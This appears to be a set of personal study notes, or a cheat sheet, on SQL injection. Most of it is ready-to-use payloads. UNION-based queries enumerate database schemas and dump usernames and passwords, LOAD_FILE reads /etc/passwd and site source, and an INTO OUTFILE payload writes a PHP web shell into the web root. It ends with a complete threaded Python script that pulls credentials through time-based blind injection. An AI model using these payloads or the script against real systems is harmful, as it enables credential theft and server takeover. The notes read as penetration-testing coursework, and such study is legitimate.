2. SQLi

In-band
union based
error based
Blind
boolean based
time based

Out-of-band

Authentication bypass

Discovery
Payload   URL Encoded
'	%27
"	%22
#	%23
;	%3B
)	%29


SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Using Comments

-- -
#
-- (Space after)

Union Clause

mysql> SELECT * FROM ports UNION SELECT * FROM ships;
Using ORDER BY
	' order by 1-- -
Using UNION
	cn' UNION select 1,2,3-- -


Exploit

Identify # of column --> ID Database --> ID Table --> ID Columns

Select @@Version
Select POW(1,1)
Select sleep(5)


INFORMATION_SCHEMA Database

The INFORMATION_SCHEMA database contains metadata about the databases and tables present on the server.
List of databases
List of tables within each database
List of columns within each table

SCHEMATA

The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases on the server.


mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

cn' UNION select 1,database(),2,3-- -


Tables

The TABLES table contains information about all tables throughout the database.

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -


Columns

The COLUMNS table contains information about all columns present in all the databases.

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Data

cn' UNION select 1, username, password, 4 from dev.credentials-- -


Reading data

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

cn' UNION SELECT 1, user(), 3, 4-- -
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

SELECT super_priv FROM mysql.user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE user="root"-- -



Load_file

SELECT LOAD_FILE('/etc/passwd');
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

Writing Files

SHOW VARIABLES LIKE 'secure_file_priv';

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -



SELECT * from users INTO OUTFILE '/tmp/credentials';

select 'file written successfully!' into outfile '/var/www/html/proof.txt'


cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -


Webshell -php
<?php system($_REQUEST[0]);?>
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -


cn' union select 1,'<?php system($_REQUEST[0]); ?>',3,4,5 into outfile '/var/www/html/dashboard/shell.php'-- -



Using previous example:

import requests
import threading
import time

class SQLInjector:
    def __init__(self, base_url, max_length=30, proxies=None):
        self.base_url = base_url
        self.max_length = max_length
        self.proxies = proxies or {}

    def check_condition(self, payload):
        full_url = self.base_url + payload + "--"
        start_time = time.time()
        response = requests.get(full_url, proxies=self.proxies)
        end_time = time.time()

        # Measure the response time
        elapsed_time = end_time - start_time
        print(f"Elapsed time: {elapsed_time:.2f} seconds")

        # If the response time is significantly higher, assume the condition is true
        return elapsed_time > 2  # Assuming a 2-second delay indicates a true condition

    def extract_character(self, row, position, field):
        for ascii_value in range(32, 127):  # ASCII printable characters range
            # Construct the payload using the current ascii_value
            payload = (
                f"(SELECT+(case+when(ascii(substr((select+{field}+from+users+LIMIT+1+offset+{row}),{position},1))={ascii_value})+"
                f"THEN+pg_sleep(2)+else+pg_sleep(0)+END))"
            )
            if self.check_condition(payload):
                found_char = chr(ascii_value)
                print(f"Found character at position {position}, row {row}, field {field}: {found_char}")
                return found_char
        return None

    def extract_field_for_row(self, row, field):
        extracted_value = ""
        for position in range(1, self.max_length + 1):
            char = self.extract_character(row, position, field)
            if char:
                extracted_value += char
                print(f"{field.capitalize()} so far for row {row}: {extracted_value}")
            else:
                break  # Stop if no more characters are found (end of field)
        return extracted_value

    def extract_all_fields(self, rows, fields):
        results = {field: {} for field in fields}
        threads = []

        # Create a thread for each field extraction for each row
        for row in range(rows):
            for field in fields:
                thread = threading.Thread(target=self._threaded_extract, args=(row, field, results[field]))
                threads.append(thread)
                thread.start()

        # Wait for all threads to complete
        for thread in threads:
            thread.join()

        return results

    def _threaded_extract(self, row, field, result):
        result[row] = self.extract_field_for_row(row, field)

def main():
    base_url = "http://answers/categories?order="
    max_rows = 3  # Adjust this to the number of rows you want to extract
    max_length = 30  # Adjust based on expected username and password length
    fields_to_extract = ["username", "password"]

    # Initialize the SQLInjector
    injector = SQLInjector(base_url=base_url, max_length=max_length, proxies={'http': 'http://127.0.0.1:8080'})

    # Perform the injection to extract the fields
    results = injector.extract_all_fields(rows=max_rows, fields=fields_to_extract)

    # Print the extracted results in "username: password" format
    for row in range(max_rows):
        print(f"{results['username'][row]}: {results['password'][row]}")

if __name__ == "__main__":
    main()